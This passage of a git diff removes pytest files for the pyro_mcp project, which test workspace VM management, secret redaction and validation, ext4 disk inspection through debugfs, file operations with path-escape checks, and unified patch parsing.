monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _killpg) - monkeypatch.setattr("pyro_mcp.vm_manager.time.monotonic", _monotonic) - monkeypatch.setattr("pyro_mcp.vm_manager.time.sleep", lambda _seconds: None) - monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", _is_running) - - stopped, killed = vm_manager_module._stop_process_group(456, wait_seconds=5) # noqa: SLF001 - assert (stopped, killed) == (True, True) - assert kill_calls == [signal.SIGTERM, signal.SIGKILL] - - -def test_pid_is_running_treats_zombies_as_stopped(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr(vm_manager_module, "_linux_process_state", lambda _pid: "Z") - assert vm_manager_module._pid_is_running(123) is False # noqa: SLF001 - - -def test_workspace_service_probe_and_refresh_helpers( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - assert vm_manager_module._run_service_probe_command(tmp_path, "exit 3") == 3 # noqa: SLF001 - - services_dir = tmp_path / "services" - services_dir.mkdir() - status_path = services_dir / "app.status" - status_path.write_text("9\n", encoding="utf-8") - running = vm_manager_module.WorkspaceServiceRecord( # noqa: SLF001 - workspace_id="workspace-1", - service_name="app", - command="sleep 60", - cwd="/workspace", - state="running", - started_at=time.time(), - readiness=None, - ready_at=None, - ended_at=None, - exit_code=None, - pid=1234, - execution_mode="host_compat", - stop_reason=None, - ) - - monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", lambda _pid: False) - refreshed = vm_manager_module._refresh_local_service_record( # noqa: SLF001 - running, - services_dir=services_dir, - ) - assert refreshed.state == "exited" - assert refreshed.exit_code == 9 - - monkeypatch.setattr( - "pyro_mcp.vm_manager._stop_process_group", - lambda _pid: (True, False), - ) - stopped = vm_manager_module._stop_local_service( # noqa: SLF001 - refreshed, - services_dir=services_dir, - ) - assert stopped.state == "stopped" - assert stopped.stop_reason == "sigterm" - - -def test_workspace_secrets_redact_exec_shell_service_and_survive_reset(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - secret_file = tmp_path / "token.txt" - secret_file.write_text("from-file\n", encoding="utf-8") - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - secrets=[ - {"name": "API_TOKEN", "value": "expected"}, - {"name": "FILE_TOKEN", "file_path": str(secret_file)}, - ], - ) - workspace_id = str(created["workspace_id"]) - assert created["secrets"] == [ - {"name": "API_TOKEN", "source_kind": "literal"}, - {"name": "FILE_TOKEN", "source_kind": "file"}, - ] - - no_secret = manager.exec_workspace( - workspace_id, - command='sh -lc \'printf "%s" "${API_TOKEN:-missing}"\'', - timeout_seconds=30, - ) - assert no_secret["stdout"] == "missing" - - executed = manager.exec_workspace( - workspace_id, - command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', - timeout_seconds=30, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - assert executed["stdout"] == "[REDACTED]\n" - - logs = manager.logs_workspace(workspace_id) - assert logs["entries"][-1]["stdout"] == "[REDACTED]\n" - - shell = manager.open_shell( - workspace_id, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - shell_id = str(shell["shell_id"]) - manager.write_shell(workspace_id, shell_id, input_text='printf "%s\\n" "$API_TOKEN"') - output = "" - deadline = time.time() + 5 - while time.time() < deadline: - read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) - output = str(read["output"]) - if "[REDACTED]" in output: - break - time.sleep(0.05) - assert "[REDACTED]" in output - manager.close_shell(workspace_id, shell_id) - - started = manager.start_service( - workspace_id, - "app", - command=( - 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' - 'touch .ready; while true; do sleep 60; done\'' - ), - readiness={"type": "file", "path": ".ready"}, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - assert started["state"] == "running" - service_logs = manager.logs_service(workspace_id, "app", tail_lines=None) - assert "[REDACTED]" in str(service_logs["stderr"]) - - reset = manager.reset_workspace(workspace_id) - assert reset["secrets"] == created["secrets"] - - after_reset = manager.exec_workspace( - workspace_id, - command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', - timeout_seconds=30, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - assert after_reset["stdout"] == "[REDACTED]\n" - - -def test_workspace_secret_validation_helpers(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - assert vm_manager_module._normalize_workspace_secret_name("API_TOKEN") == "API_TOKEN" # noqa: SLF001 - with pytest.raises(ValueError, match="secret name must match"): - vm_manager_module._normalize_workspace_secret_name("bad-name") # noqa: SLF001 - with pytest.raises(ValueError, match="must not be empty"): - vm_manager_module._validate_workspace_secret_value("TOKEN", "") # noqa: SLF001 - with pytest.raises(ValueError, match="duplicate secret name"): - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - secrets=[ - {"name": "TOKEN", "value": "one"}, - {"name": "TOKEN", "value": "two"}, - ], - ) - - -def test_prepare_workspace_secrets_handles_file_inputs_and_validation_errors( - tmp_path: Path, -) -> None: - secrets_dir = tmp_path / "secrets" - valid_file = tmp_path / "token.txt" - valid_file.write_text("from-file\n", encoding="utf-8") - invalid_utf8 = tmp_path / "invalid.bin" - invalid_utf8.write_bytes(b"\xff\xfe") - oversized = tmp_path / "oversized.txt" - oversized.write_text( - "x" * (vm_manager_module.WORKSPACE_SECRET_MAX_BYTES + 1), - encoding="utf-8", - ) - - records, values = vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [ - {"name": "B_TOKEN", "value": "literal"}, - {"name": "A_TOKEN", "file_path": str(valid_file)}, - ], - secrets_dir=secrets_dir, - ) - assert [record.name for record in records] == ["A_TOKEN", "B_TOKEN"] - assert values == {"A_TOKEN": "from-file\n", "B_TOKEN": "literal"} - assert (secrets_dir / "A_TOKEN.secret").read_text(encoding="utf-8") == "from-file\n" - assert oct(secrets_dir.stat().st_mode & 0o777) == "0o700" - assert oct((secrets_dir / "A_TOKEN.secret").stat().st_mode & 0o777) == "0o600" - - with pytest.raises(ValueError, match="must be a dictionary"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [cast(dict[str, str], "bad")], - secrets_dir=tmp_path / "bad1", - ) - with pytest.raises(ValueError, match="missing 'name'"): - vm_manager_module._prepare_workspace_secrets([{}], secrets_dir=tmp_path / "bad2") # noqa: SLF001 - with pytest.raises(ValueError, match="exactly one of 'value' or 'file_path'"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [{"name": "TOKEN", "value": "x", "file_path": str(valid_file)}], - secrets_dir=tmp_path / "bad3", - ) - with pytest.raises(ValueError, match="file_path must not be empty"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [{"name": "TOKEN", "file_path": " "}], - secrets_dir=tmp_path / "bad4", - ) - with pytest.raises(ValueError, match="does not exist"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [{"name": "TOKEN", "file_path": str(tmp_path / "missing.txt")}], - secrets_dir=tmp_path / "bad5", - ) - with pytest.raises(ValueError, match="must be valid UTF-8 text"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [{"name": "TOKEN", "file_path": str(invalid_utf8)}], - secrets_dir=tmp_path / "bad6", - ) - with pytest.raises(ValueError, match="must be at most"): - vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 - [{"name": "TOKEN", "file_path": str(oversized)}], - secrets_dir=tmp_path / "bad7", - ) - - -def test_workspace_secrets_require_guest_exec_on_firecracker_runtime( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - class StubFirecrackerBackend: - def __init__(self, *args: Any, **kwargs: Any) -> None: - del args, kwargs - - def create(self, instance: Any) -> None: - del instance - - def start(self, instance: Any) -> None: - del instance - - def stop(self, instance: Any) -> None: - del instance - - def delete(self, instance: Any) -> None: - del instance - - monkeypatch.setattr(vm_manager_module, "FirecrackerBackend", StubFirecrackerBackend) - manager = VmManager( - backend_name="firecracker", - base_dir=tmp_path / "vms", - runtime_paths=resolve_runtime_paths(), - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=False, - supports_guest_network=False, - reason="guest exec is unavailable", - ) - - with pytest.raises(RuntimeError, match="workspace secrets require guest execution"): - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - secrets=[{"name": "TOKEN", "value": "expected"}], - ) - - -def test_workspace_stop_and_start_preserve_logs_and_clear_live_state(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("hello from seed\n", encoding="utf-8") - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - ) - workspace_id = str(created["workspace_id"]) - manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - shell = manager.open_shell(workspace_id) - shell_id = str(shell["shell_id"]) - started_service = manager.start_service( - workspace_id, - "app", - command='sh -lc \'touch .ready && trap "exit 0" TERM; while true; do sleep 60; done\'', - readiness={"type": "file", "path": ".ready"}, - ) - assert started_service["state"] == "running" - - stopped = manager.stop_workspace(workspace_id) - assert stopped["state"] == "stopped" - assert stopped["command_count"] == 1 - assert stopped["service_count"] == 0 - assert stopped["running_service_count"] == 0 - assert manager.logs_workspace(workspace_id)["count"] == 1 - with pytest.raises(RuntimeError, match="must be in 'started' state"): - manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024) - - restarted = manager.start_workspace(workspace_id) - assert restarted["state"] == "started" - assert restarted["command_count"] == 1 - assert restarted["service_count"] == 0 - rerun = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - assert rerun["stdout"] == "hello from seed\n" - - -def test_workspace_read_shell_rejects_invalid_wait_for_idle_ms(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - opened = manager.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - - with pytest.raises(ValueError, match="wait_for_idle_ms must be between 1 and 10000"): - manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024, wait_for_idle_ms=0) - - -def test_workspace_stop_flushes_guest_filesystem_before_stopping( - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["state"] = "started" - payload["firecracker_pid"] = os.getpid() - payload["metadata"]["execution_mode"] = "guest_vsock" - payload["metadata"]["rootfs_image"] = str(_create_stopped_workspace_rootfs(tmp_path)) - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - calls: list[tuple[str, str]] = [] - - class StubBackend: - def exec( - self, - instance: Any, - command: str, - timeout_seconds: int, - *, - workdir: Path | None = None, - env: dict[str, str] | None = None, - ) -> vm_manager_module.VmExecResult: - del instance, timeout_seconds, workdir, env - calls.append(("exec", command)) - return vm_manager_module.VmExecResult( - stdout="", - stderr="", - exit_code=0, - duration_ms=1, - ) - - def stop(self, instance: Any) -> None: - del instance - calls.append(("stop", "instance")) - - manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 - manager._backend_name = "firecracker" # noqa: SLF001 - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=False, - reason=None, - ) - - stopped = manager.stop_workspace(workspace_id) - - assert calls == [("exec", "sync"), ("stop", "instance")] - assert stopped["state"] == "stopped" - - -def test_workspace_disk_operations_scrub_runtime_only_paths_and_export( - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - rootfs_image = _create_stopped_workspace_rootfs(tmp_path) - workspace_id = "workspace-disk-123" - workspace = vm_manager_module.WorkspaceRecord( - workspace_id=workspace_id, - environment="debian:12-base", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - created_at=time.time(), - expires_at=time.time() + 600, - state="stopped", - network_policy="off", - allow_host_compat=False, - metadata={ - "execution_mode": "guest_vsock", - "rootfs_image": str(rootfs_image), - "workspace_path": "/workspace", - }, - ) - manager._save_workspace_locked(workspace) # noqa: SLF001 - - listed = manager.list_workspace_disk(workspace_id, path="/workspace", recursive=True) - assert listed["path"] == "/workspace" - listed_paths = {entry["path"] for entry in listed["entries"]} - assert "/workspace/note.txt" in listed_paths - assert "/workspace/src/child.txt" in listed_paths - assert "/workspace/link" in listed_paths - - read_payload = manager.read_workspace_disk(workspace_id, path="note.txt", max_bytes=4096) - assert read_payload["content"] == "hello from disk\n" - assert read_payload["truncated"] is False - - run_listing = manager.list_workspace_disk(workspace_id, path="/run", recursive=True) - run_paths = {entry["path"] for entry in run_listing["entries"]} - assert "/run/pyro-secrets" not in run_paths - assert "/run/pyro-services" not in run_paths - - exported_path = tmp_path / "workspace-copy.ext4" - exported = manager.export_workspace_disk(workspace_id, output_path=exported_path) - assert exported["disk_format"] == "ext4" - assert exported_path.exists() - assert exported_path.stat().st_size == int(exported["bytes_written"]) - - -def test_workspace_disk_operations_reject_host_compat_workspaces(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - manager.stop_workspace(workspace_id) - - with pytest.raises(RuntimeError, match="host_compat workspaces"): - manager.export_workspace_disk(workspace_id, output_path=tmp_path / "workspace.ext4") - with pytest.raises(RuntimeError, match="host_compat workspaces"): - manager.list_workspace_disk(workspace_id) - with pytest.raises(RuntimeError, match="host_compat workspaces"): - manager.read_workspace_disk(workspace_id, path="note.txt") diff --git a/tests/test_workspace_disk.py b/tests/test_workspace_disk.py deleted file mode 100644 index 6f1e3de..0000000 --- a/tests/test_workspace_disk.py +++ /dev/null @@ -1,258 +0,0 @@ -from __future__ import annotations - -import subprocess -from pathlib import Path -from types import SimpleNamespace -from typing import Any, cast - -import pytest - -import pyro_mcp.workspace_disk as workspace_disk_module -from pyro_mcp.workspace_disk import ( - _artifact_type_from_mode, - _debugfs_ls_entries, - _debugfs_stat, - _run_debugfs, - export_workspace_disk_image, - list_workspace_disk, - read_workspace_disk_file, - scrub_workspace_runtime_paths, -) - - -def _run_debugfs_write(rootfs_image: Path, command: str) -> None: - proc = subprocess.run( # noqa: S603 - ["debugfs", "-w", "-R", command, str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - message = proc.stderr.strip() or proc.stdout.strip() or command - raise RuntimeError(message) - - -def _create_rootfs_image(tmp_path: Path) -> Path: - rootfs_image = tmp_path / "workspace-rootfs.ext4" - with rootfs_image.open("wb") as handle: - handle.truncate(16 * 1024 * 1024) - proc = subprocess.run( # noqa: S603 - ["mkfs.ext4", "-F", str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" - raise RuntimeError(message) - for directory in ( - "/workspace", - "/workspace/src", - "/run", - "/run/pyro-secrets", - "/run/pyro-services", - ): - _run_debugfs_write(rootfs_image, f"mkdir {directory}") - note_path = tmp_path / "note.txt" - note_path.write_text("hello from disk\n", encoding="utf-8") - child_path = tmp_path / "child.txt" - child_path.write_text("nested child\n", encoding="utf-8") - secret_path = tmp_path / "secret.txt" - secret_path.write_text("super-secret\n", encoding="utf-8") - service_path = tmp_path / "service.log" - service_path.write_text("service runtime\n", encoding="utf-8") - _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") - _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") - _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") - _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") - _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") - return rootfs_image - - -def test_workspace_disk_list_read_export_and_scrub(tmp_path: Path) -> None: - rootfs_image = _create_rootfs_image(tmp_path) - - listing = list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) - assert listing == [ - { - "path": "/workspace/link", - "artifact_type": "symlink", - "size_bytes": 8, - "link_target": "note.txt", - }, - { - "path": "/workspace/note.txt", - "artifact_type": "file", - "size_bytes": 16, - "link_target": None, - }, - { - "path": "/workspace/src", - "artifact_type": "directory", - "size_bytes": 0, - "link_target": None, - }, - { - "path": "/workspace/src/child.txt", - "artifact_type": "file", - "size_bytes": 13, - "link_target": None, - }, - ] - - single = list_workspace_disk(rootfs_image, guest_path="/workspace/note.txt", recursive=False) - assert single == [ - { - "path": "/workspace/note.txt", - "artifact_type": "file", - "size_bytes": 16, - "link_target": None, - } - ] - - read_payload = read_workspace_disk_file( - rootfs_image, - guest_path="/workspace/note.txt", - max_bytes=5, - ) - assert read_payload == { - "path": "/workspace/note.txt", - "size_bytes": 16, - "max_bytes": 5, - "content": "hello", - "truncated": True, - } - - output_path = tmp_path / "workspace.ext4" - exported = export_workspace_disk_image(rootfs_image, output_path=output_path) - assert exported["output_path"] == str(output_path) - assert exported["disk_format"] == "ext4" - assert int(exported["bytes_written"]) == output_path.stat().st_size - - scrub_workspace_runtime_paths(rootfs_image) - run_listing = list_workspace_disk(rootfs_image, guest_path="/run", recursive=True) - assert run_listing == [] - - -def test_workspace_disk_rejects_invalid_inputs(tmp_path: Path) -> None: - rootfs_image = _create_rootfs_image(tmp_path) - - with pytest.raises(RuntimeError, match="workspace disk path does not exist"): - list_workspace_disk(rootfs_image, guest_path="/missing", recursive=False) - - with pytest.raises(RuntimeError, match="workspace disk path does not exist"): - read_workspace_disk_file( - rootfs_image, - guest_path="/missing.txt", - max_bytes=4096, - ) - - with pytest.raises(RuntimeError, match="regular files"): - read_workspace_disk_file( - rootfs_image, - guest_path="/workspace/src", - max_bytes=4096, - ) - - with pytest.raises(ValueError, match="max_bytes must be positive"): - read_workspace_disk_file( - rootfs_image, - guest_path="/workspace/note.txt", - max_bytes=0, - ) - - output_path = tmp_path / "existing.ext4" - output_path.write_text("present\n", encoding="utf-8") - with pytest.raises(RuntimeError, match="output_path already exists"): - export_workspace_disk_image(rootfs_image, output_path=output_path) - - -def test_workspace_disk_internal_error_paths( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - rootfs_image = tmp_path / "dummy.ext4" - rootfs_image.write_bytes(b"rootfs") - - monkeypatch.setattr(cast(Any, workspace_disk_module).shutil, "which", lambda _name: None) - with pytest.raises(RuntimeError, match="debugfs is required"): - _run_debugfs(rootfs_image, "stat /workspace") - - monkeypatch.setattr( - cast(Any, workspace_disk_module).shutil, - "which", - lambda _name: "/usr/bin/debugfs", - ) - monkeypatch.setattr( - cast(Any, workspace_disk_module).subprocess, - "run", - lambda *args, **kwargs: SimpleNamespace( # noqa: ARG005 - returncode=1, - stdout="", - stderr="", - ), - ) - with pytest.raises(RuntimeError, match="debugfs command failed: stat /workspace"): - _run_debugfs(rootfs_image, "stat /workspace") - - assert _artifact_type_from_mode("00000") is None - - monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "noise") - with pytest.raises(RuntimeError, match="failed to inspect workspace disk path"): - _debugfs_stat(rootfs_image, "/workspace/bad") - - monkeypatch.setattr( - workspace_disk_module, - "_run_debugfs", - lambda *_args, **_kwargs: "Type: fifo\nSize: 1\n", - ) - with pytest.raises(RuntimeError, match="unsupported workspace disk path type"): - _debugfs_stat(rootfs_image, "/workspace/fifo") - - monkeypatch.setattr( - workspace_disk_module, - "_run_debugfs", - lambda *_args, **_kwargs: "File not found by ext2_lookup", - ) - with pytest.raises(RuntimeError, match="workspace disk path does not exist"): - _debugfs_ls_entries(rootfs_image, "/workspace/missing") - - monkeypatch.setattr( - workspace_disk_module, - "_debugfs_stat", - lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 - path="/workspace", - artifact_type="directory", - size_bytes=0, - ), - ) - monkeypatch.setattr( - workspace_disk_module, - "_debugfs_ls_entries", - lambda *_args, **_kwargs: [ - workspace_disk_module._DebugfsDirEntry( # noqa: SLF001 - name="special", - path="/workspace/special", - artifact_type=None, - size_bytes=0, - ) - ], - ) - assert list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) == [] - - monkeypatch.setattr( - workspace_disk_module, - "_debugfs_stat", - lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 - path="/workspace/note.txt", - artifact_type="file", - size_bytes=12, - ), - ) - monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "") - with pytest.raises(RuntimeError, match="failed to dump workspace disk file"): - read_workspace_disk_file( - rootfs_image, - guest_path="/workspace/note.txt", - max_bytes=16, - ) diff --git a/tests/test_workspace_files.py b/tests/test_workspace_files.py deleted file mode 100644 index a321456..0000000 --- a/tests/test_workspace_files.py +++ /dev/null @@ -1,427 +0,0 @@ -from __future__ import annotations - -import os -from pathlib import Path - -import pytest - -from pyro_mcp.workspace_files import ( - WORKSPACE_FILE_MAX_BYTES, - WORKSPACE_PATCH_MAX_BYTES, - WorkspacePatchHunk, - WorkspaceTextPatch, - apply_unified_text_patch, - delete_workspace_path, - list_workspace_files, - normalize_workspace_path, - parse_unified_text_patch, - read_workspace_file, - workspace_host_path, - write_workspace_file, -) - - -def test_workspace_files_list_read_write_and_delete(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "src").mkdir() - (workspace_dir / "src" / "note.txt").write_text("hello\n", encoding="utf-8") - os.symlink("note.txt", workspace_dir / "src" / "note-link") - - listing = list_workspace_files( - workspace_dir, - workspace_path="/workspace/src", - recursive=True, - ) - assert listing.path == "/workspace/src" - assert listing.artifact_type == "directory" - assert [entry.to_payload() for entry in listing.entries] == [ - { - "path": "/workspace/src/note-link", - "artifact_type": "symlink", - "size_bytes": 8, - "link_target": "note.txt", - }, - { - "path": "/workspace/src/note.txt", - "artifact_type": "file", - "size_bytes": 6, - "link_target": None, - }, - ] - - read_payload = read_workspace_file( - workspace_dir, - workspace_path="/workspace/src/note.txt", - ) - assert read_payload.content_bytes == b"hello\n" - - written = write_workspace_file( - workspace_dir, - workspace_path="/workspace/generated/out.txt", - text="generated\n", - ) - assert written.bytes_written == 10 - assert (workspace_dir / "generated" / "out.txt").read_text(encoding="utf-8") == "generated\n" - - deleted = delete_workspace_path( - workspace_dir, - workspace_path="/workspace/generated/out.txt", - ) - assert deleted.deleted is True - assert not (workspace_dir / "generated" / "out.txt").exists() - - -def test_workspace_file_read_and_delete_reject_unsupported_paths(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "dir").mkdir() - (workspace_dir / "file.txt").write_text("ok\n", encoding="utf-8") - os.symlink("file.txt", workspace_dir / "link.txt") - - with pytest.raises(RuntimeError, match="regular files"): - read_workspace_file(workspace_dir, workspace_path="/workspace/dir") - with pytest.raises(RuntimeError, match="regular files"): - read_workspace_file(workspace_dir, workspace_path="/workspace/link.txt") - with pytest.raises(RuntimeError, match="does not support directories"): - delete_workspace_path(workspace_dir, workspace_path="/workspace/dir") - - -def test_workspace_file_helpers_cover_single_paths_and_path_validation(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - listing = list_workspace_files( - workspace_dir, - workspace_path="/workspace/note.txt", - recursive=False, - ) - assert listing.path == "/workspace/note.txt" - assert listing.artifact_type == "file" - assert [entry.path for entry in listing.entries] == ["/workspace/note.txt"] - - assert normalize_workspace_path("src/app.py") == "/workspace/src/app.py" - assert workspace_host_path(workspace_dir, "src/app.py") == workspace_dir / "src" / "app.py" - - with pytest.raises(ValueError, match="must not be empty"): - normalize_workspace_path(" ") - with pytest.raises(ValueError, match="must stay inside /workspace"): - normalize_workspace_path("..") - with pytest.raises(ValueError, match="must stay inside /workspace"): - normalize_workspace_path("/tmp/outside") - with pytest.raises(ValueError, match="must stay inside /workspace"): - normalize_workspace_path("/") - - -def test_workspace_file_read_limits_and_write_validation(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "big.txt").write_text("hello\n", encoding="utf-8") - (workspace_dir / "dir").mkdir() - real_dir = workspace_dir / "real" - real_dir.mkdir() - os.symlink("real", workspace_dir / "linked") - - with pytest.raises(ValueError, match="max_bytes must be positive"): - read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=0) - with pytest.raises(ValueError, match="at most"): - read_workspace_file( - workspace_dir, - workspace_path="/workspace/big.txt", - max_bytes=WORKSPACE_FILE_MAX_BYTES + 1, - ) - with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): - read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=4) - - with pytest.raises(RuntimeError, match="regular file targets"): - write_workspace_file(workspace_dir, workspace_path="/workspace/dir", text="nope\n") - with pytest.raises(RuntimeError, match="symlinked parent"): - write_workspace_file( - workspace_dir, - workspace_path="/workspace/linked/out.txt", - text="nope\n", - ) - with pytest.raises(ValueError, match="at most"): - write_workspace_file( - workspace_dir, - workspace_path="/workspace/huge.txt", - text="x" * (WORKSPACE_FILE_MAX_BYTES + 1), - ) - - -def test_workspace_file_list_rejects_unsupported_filesystem_types(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - fifo_path = workspace_dir / "pipe" - os.mkfifo(fifo_path) - - with pytest.raises(RuntimeError, match="unsupported workspace path type"): - list_workspace_files(workspace_dir, workspace_path="/workspace", recursive=True) - - -def test_parse_and_apply_unified_text_patch_round_trip() -> None: - patch_text = """--- a/src/app.py -+++ b/src/app.py -@@ -1,2 +1,3 @@ - print("old") --print("bug") -+print("fixed") -+print("done") ---- /dev/null -+++ b/src/new.py -@@ -0,0 +1 @@ -+print("new") ---- a/src/remove.py -+++ /dev/null -@@ -1 +0,0 @@ --print("remove") -""" - patches = parse_unified_text_patch(patch_text) - assert [(item.path, item.status) for item in patches] == [ - ("/workspace/src/app.py", "modified"), - ("/workspace/src/new.py", "added"), - ("/workspace/src/remove.py", "deleted"), - ] - - modified = apply_unified_text_patch( - path="/workspace/src/app.py", - patch=patches[0], - before_text='print("old")\nprint("bug")\n', - ) - added = apply_unified_text_patch( - path="/workspace/src/new.py", - patch=patches[1], - before_text=None, - ) - deleted = apply_unified_text_patch( - path="/workspace/src/remove.py", - patch=patches[2], - before_text='print("remove")\n', - ) - - assert modified == 'print("old")\nprint("fixed")\nprint("done")\n' - assert added == 'print("new")\n' - assert deleted is None - - -def test_parse_unified_text_patch_rejects_unsupported_features() -> None: - with pytest.raises(ValueError, match="unsupported patch feature"): - parse_unified_text_patch( - """diff --git a/file.txt b/file.txt -old mode 100644 ---- a/file.txt -+++ b/file.txt -@@ -1 +1 @@ --old -+new -""" - ) - - with pytest.raises(ValueError, match="rename and copy patches are not supported"): - parse_unified_text_patch( - """--- a/old.txt -+++ b/new.txt -@@ -1 +1 @@ --old -+new -""" - ) - - -def test_parse_unified_text_patch_handles_git_headers_and_validation_errors() -> None: - parsed = parse_unified_text_patch( - """ -diff --git a/file.txt b/file.txt -index 1234567..89abcde 100644 ---- /workspace/file.txt -+++ /workspace/file.txt -@@ -1 +1 @@ --old -+new -\\ No newline at end of file -""" - ) - assert parsed[0].path == "/workspace/file.txt" - - with pytest.raises(ValueError, match="must not be empty"): - parse_unified_text_patch("") - with pytest.raises(ValueError, match="invalid patch header"): - parse_unified_text_patch("oops\n") - with pytest.raises(ValueError, match="missing '\\+\\+\\+' header"): - parse_unified_text_patch("--- a/file.txt\n") - with pytest.raises(ValueError, match="has no hunks"): - parse_unified_text_patch("--- a/file.txt\n+++ b/file.txt\n") - with pytest.raises(ValueError, match="line counts do not match"): - parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -@@ -1,2 +1,1 @@ --old -+new -""" - ) - with pytest.raises(ValueError, match="invalid patch hunk line"): - parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -@@ -1 +1 @@ -?bad -""" - ) - - with pytest.raises(ValueError, match="at most"): - parse_unified_text_patch("x" * (WORKSPACE_PATCH_MAX_BYTES + 1)) - with pytest.raises(ValueError, match="patch must target a workspace path"): - parse_unified_text_patch("--- /dev/null\n+++ /dev/null\n") - with pytest.raises(ValueError, match="patch must contain at least one file change"): - parse_unified_text_patch( - """diff --git a/file.txt b/file.txt -index 1234567..89abcde 100644 -""" - ) - with pytest.raises(ValueError, match="unsupported patch feature"): - parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -new mode 100644 -""" - ) - with pytest.raises(ValueError, match="invalid patch hunk header"): - parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -@@ -1 +1 @@ - old -@@bogus -""" - ) - - parsed = parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -index 1234567..89abcde 100644 -@@ -1 +1 @@ --old -+new -@@ -3 